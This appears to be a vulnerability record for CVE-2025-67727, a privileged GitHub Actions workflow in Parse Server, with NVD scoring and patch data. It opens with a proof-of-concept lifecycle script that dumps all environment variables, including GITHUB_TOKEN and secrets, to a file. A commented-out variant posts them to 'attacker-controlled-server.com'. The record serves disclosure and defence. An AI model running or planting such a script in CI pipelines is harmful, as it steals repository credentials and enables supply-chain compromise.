CVE-2025-67727

// Malicious lifecycle script that can be added to a fork // This PoC demonstrates how secrets can be exfiltrated const fs = require('fs'); const path = require('path'); // Capture all environment variables (including GITHUB_TOKEN and secrets) const envDump = Object.entries(process.env) .map(([key, value]) => `${key}=${value}`) .join('\n'); // Write to a file that will be picked up by the workflow const outputPath = path.join(__dirname, 'leaked_secrets.txt'); fs.writeFileSync(outputPath, envDump); console.log('[+] Lifecycle script executed with elevated permissions'); console.log('[+] Environment variables dumped to:', outputPath); // Alternative: Direct exfiltration via HTTP request // const https = require('https'); // const data = JSON.stringify({ secrets: envDump }); // const req = https.request({ // hostname: 'attacker-controlled-server.com', // path: '/collect', // method: 'POST', // headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } // }, (res) => { /* ignore response */ }); // req.write(data); // req.end();

{"cve": {"id": "CVE-2025-67727", "sourceIdentifier": "[email protected]", "published": "2025-12-12T07:15:45.087", "lastModified": "2025-12-22T18:59:23.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that runs Node.js. In versions prior to 8.6.0-alpha.2, a GitHub CI workflow is triggered in a way that grants the GitHub Actions workflow elevated permissions, giving it access to GitHub secrets and write permissions which are defined in the workflow. Code from a fork or lifecycle scripts is potentially included. Only the repository's CI/CD infrastructure is affected, including any public GitHub forks with GitHub Actions enabled. This issue is fixed version 8.6.0-alpha.2 and commits 6b9f896 and e3d27fe."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "8.5.0", "matchCriteriaId": "FE7B2E86-DEAF-4D54-B013-9B58A49C5AD0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:8.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "6DD13F4F-4049-4747-8E68-1AE70365DB1D"}]}]}], "references": [{"url": "https://github.com/parse-community/parse-server/commit/6b9f8963cc3debf59cd9c5dfc5422aff9404ce9d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/parse-community/parse-server/commit/e3d27fea08c8d8bdd9770a689bc2d757cda48b66", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-6w8g-mgvv-3fcj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}